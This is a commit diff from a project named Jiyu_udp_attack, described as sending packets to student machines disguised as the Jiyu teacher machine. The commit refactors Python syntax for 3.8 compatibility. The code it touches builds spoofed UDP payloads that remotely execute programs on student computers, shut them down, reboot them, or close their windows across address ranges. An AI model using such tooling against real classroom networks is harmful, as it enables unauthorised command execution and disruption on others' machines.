refactor: Modify syntax for Python 3.8 compatibility

Author: weilycoder

Jiyu_udp_attack/__main__.py

@@ -12,7 +12,7 @@
 import argparse
 import binascii
 
-from typing import Any, Sequence, cast
+from typing import Any, Optional, Sequence, cast
 
 from sender import broadcast_packet
 from packet import (
@@ -59,7 +59,7 @@ def __call__(
         parser: argparse.ArgumentParser,
         namespace: argparse.Namespace,
         values: Any,
-        option_string: str | None = None,
+        option_string: Optional[str] = None,
     ):
         if option_string in self.option_strings:
             option_string = cast(str, option_string)
@@ -242,44 +242,45 @@ def format_usage(self) -> str:
         elif args.close_top_window:
             payload = pkg_close_top_window()
         elif args.execute:
-            match args.execute:
-                case [mode, [program]]:
-                    args_list = ""
-                case [mode, [program, args_list]]:
-                    pass
-                case _:
+            if len(args.execute) != 2:
+                parser.error("Invalid execute arguments: expected [program] or [program, args_list]")
+            else:
+                mode, args_list = args.execute
+                args_list = cast(Sequence[str], args_list)
+                if len(args_list) == 1:
+                    program, args_list = args_list[0], ""
+                elif len(args_list) == 2:
+                    program, args_list = args_list
+                else:
                     parser.error("Invalid execute arguments: expected [program] or [program, args_list]")
             payload = pkg_execute(program, args_list, "normal" if mode is None else mode)
         elif args.shutdown is not None:
-            match args.shutdown:
-                case []:
-                    payload = pkg_shutdown()
-                case [timeout]:
-                    payload = pkg_shutdown(timeout=int(timeout))
-                case [timeout, message]:
-                    payload = pkg_shutdown(timeout=int(timeout), message=message)
-                case _:
-                    parser.error("Invalid shutdown arguments: expected [timeout] or [timeout, message]")
+            if len(args.shutdown) == 0:
+                payload = pkg_shutdown()
+            elif len(args.shutdown) == 1:
+                payload = pkg_shutdown(timeout=int(args.shutdown[0]))
+            elif len(args.shutdown) == 2:
+                payload = pkg_shutdown(timeout=int(args.shutdown[0]), message=args.shutdown[1])
+            else:
+                parser.error("Invalid shutdown arguments: expected [timeout] or [timeout, message]")
         elif args.reboot is not None:
-            match args.reboot:
-                case []:
-                    payload = pkg_shutdown(reboot=True)
-                case [timeout]:
-                    payload = pkg_shutdown(timeout=int(timeout), reboot=True)
-                case [timeout, message]:
-                    payload = pkg_shutdown(timeout=int(timeout), message=message, reboot=True)
-                case _:
-                    parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
+            if len(args.reboot) == 0:
+                payload = pkg_shutdown(reboot=True)
+            elif len(args.reboot) == 1:
+                payload = pkg_shutdown(timeout=int(args.reboot[0]), reboot=True)
+            elif len(args.reboot) == 2:
+                payload = pkg_shutdown(timeout=int(args.reboot[0]), message=args.reboot[1], reboot=True)
+            else:
+                parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
         elif args.close_windows is not None:
-            match args.close_windows:
-                case []:
-                    payload = pkg_close_windows()
-                case [timeout]:
-                    payload = pkg_close_windows(timeout=int(timeout))
-                case [timeout, message]:
-                    payload = pkg_close_windows(timeout=int(timeout), message=message)
-                case _:
-                    parser.error("Invalid close windows arguments: expected [timeout] or [timeout, message]")
+            if len(args.close_windows) == 0:
+                payload = pkg_close_windows()
+            elif len(args.close_windows) == 1:
+                payload = pkg_close_windows(timeout=int(args.close_windows[0]))
+            elif len(args.close_windows) == 2:
+                payload = pkg_close_windows(timeout=int(args.close_windows[0]), message=args.close_windows[1])
+            else:
+                parser.error("Invalid close windows arguments: expected [timeout] or [timeout, message]")
         elif args.rename:
             name, name_id = args.rename
             payload = pkg_rename(name, int(name_id))

Jiyu_udp_attack/ip_analyze.py

@@ -3,7 +3,10 @@
 """
 
 
-def ip_to_tuple(ip: str) -> tuple[int, int, int, int]:
+from typing import List, Tuple
+
+
+def ip_to_tuple(ip: str) -> Tuple[int, int, int, int]:
     """
     Converts an IP address string to a tuple of four integers.
 
@@ -25,7 +28,7 @@ def ip_to_tuple(ip: str) -> tuple[int, int, int, int]:
 
 
 # pylint: disable=too-many-branches
-def ip_analyze(ip: str) -> list[str]:
+def ip_analyze(ip: str) -> List[str]:
     """
     Analyzes an IP address or range and returns a list of valid IP addresses.
 
@@ -39,15 +42,15 @@ def ip_analyze(ip: str) -> list[str]:
         raise TypeError(f"Expected string, got {type(ip).__name__}")
     ip = ip.replace(" ", "")
     if "/" in ip:
-        match ip.split("/"):
-            case [ip_addr, mask]:
-                if not mask.isdigit():
-                    raise ValueError(f"Invalid subnet mask: {mask}")
-                mask = int(mask)
-                if mask not in range(0, 32, 8):
-                    raise ValueError(f"Invalid subnet mask: {mask}")
-            case _:
-                raise ValueError(f"Invalid IP address format: {ip}")
+        try:
+            ip_addr, mask = ip.split("/")
+            assert mask.isdigit(), f"Invalid subnet mask: {mask}"
+            mask = int(mask)
+            assert mask in range(0, 32, 8), f"Invalid subnet mask: {mask}"
+        except ValueError:
+            raise ValueError(f"Invalid IP address format: {ip}") from None
+        except AssertionError as e:
+            raise ValueError(str(e)) from None
         ip_tuple = ip_to_tuple(ip_addr)
         ip32 = ip_tuple[0] << 24 | ip_tuple[1] << 16 | ip_tuple[2] << 8 | ip_tuple[3]
         ip32 |= (1 << (32 - mask)) - 1
@@ -59,24 +62,17 @@ def ip_analyze(ip: str) -> list[str]:
         ip_count = 1
         ip_range: list[tuple[int, int]] = []
         for i in ip_range_tuple:
-            match i.split("-"):
-                case [single]:
-                    if not single.isdigit():
-                        raise ValueError(f"Invalid IP address range format: {ip}")
-                    single = int(single)
-                    if single < 0 or single > 255:
-                        raise ValueError(f"IP address out of range: {single}")
-                    ip_range.append((single, single))
-                case [start, end]:
-                    if not (start.isdigit() and end.isdigit()):
-                        raise ValueError(f"Invalid IP address range format: {ip}")
-                    start = int(start)
-                    end = int(end)
-                    if start < 0 or start > 255 or end < 0 or end > 255 or start > end:
-                        raise ValueError(f"Invalid IP address range: {start}-{end}")
-                    ip_range.append((start, end))
-                case _:
-                    raise ValueError(f"Invalid IP address range format: {ip}")
+            rg = i.split("-")
+            if len(rg) ==1:
+                rg.append(rg[0])
+            if len(rg) != 2:
+                raise ValueError(f"Invalid IP address range format: {ip}")
+            if not all(x.isdigit() for x in rg):
+                raise ValueError(f"Invalid IP address range format: {ip}")
+            start, end = int(rg[0]), int(rg[1])
+            if start < 0 or start > 255 or end < 0 or end > 255 or start > end:
+                raise ValueError(f"Invalid IP address range: {start}-{end}")
+            ip_range.append((start, end))
             ip_count *= ip_range[-1][1] - ip_range[-1][0] + 1
         if ip_count > 65536:
             raise ValueError(f"IP address range too large: {ip_count} addresses")

Jiyu_udp_attack/packet.py

@@ -7,7 +7,7 @@
 import binascii
 import secrets
 
-from typing import Literal, Optional
+from typing import Literal, Optional, Union
 
 
 __all__ = [
@@ -91,15 +91,14 @@ def pkg_execute(
     )
     data0 = format_data(executable_file, 512)
     data1 = format_data(arguments, 254)
-    match mode:
-        case "normal":
-            data2 = b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-        case "minimize":
-            data2 = b"\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-        case "maximize":
-            data2 = b"\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-        case _:
-            raise ValueError(f"Invalid mode: {mode}")
+    if mode == "normal":
+        data2 = b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+    elif mode == "minimize":
+        data2 = b"\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+    elif mode == "maximize":
+        data2 = b"\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+    else:
+        raise ValueError(f"Invalid mode: {mode}")
     return head + data0 + data1 + b"\x00" * 66 + data2
 
 
@@ -244,7 +243,7 @@ def __init__(self, value: int = 0):
             raise ValueError("Value must be a non-negative integer")
         self.value = value
 
-    def __getattr__(self, name: str) -> HexStr | HexInt:
+    def __getattr__(self, name: str) -> Union[HexStr, HexInt]:
         try:
             if name.startswith("little_"):
                 return HexStr(self.value.to_bytes(int(name[7:]), "little").hex())
@@ -280,7 +279,7 @@ class HexStr:
     def __init__(self, value: str = ""):
         self.value = str(value)
 
-    def __getattr__(self, name: str) -> HexStr | HexInt:
+    def __getattr__(self, name: str) -> Union[HexStr, HexInt]:
         try:
             if name == "len":
                 return HexInt(len(self.value))

README.md

@@ -8,9 +8,7 @@
 
 ## Environment
 
-项目的 Python 为 3.13，即使经 PyInstaller 打包也对 Win 7 系统不太友好。未来可能向下兼容。
-
-此外，为了移除 scapy 依赖，项目使用原始套接字进行请求，在大部分系统上可能需要管理员权限。
+项目的最新版向下兼容到 Python 3.8。
 
 ## Usage
 

poetry.lock

@@ -1,14 +1,15 @@
-[project]
+[tool.poetry]
 name = "Jiyu-udp-attack"
 version = "1.0.0"
 description = "Send packets to student machines disguised as Jiyu teacher machine"
-authors = [{ name = "weilycoder", email = "[email protected]" }]
+authors = ["weilycoder <[email protected]>"]
 license = "MIT"
 readme = "README.md"
-requires-python = ">=3.13,<4"
-dependencies = []
+
+[tool.poetry.dependencies]
+python = ">=3.8,<4"
 
 
 [build-system]
-requires = ["poetry-core>=2.0.0,<3.0.0"]
+requires = ["poetry-core"]
 build-backend = "poetry.core.masonry.api"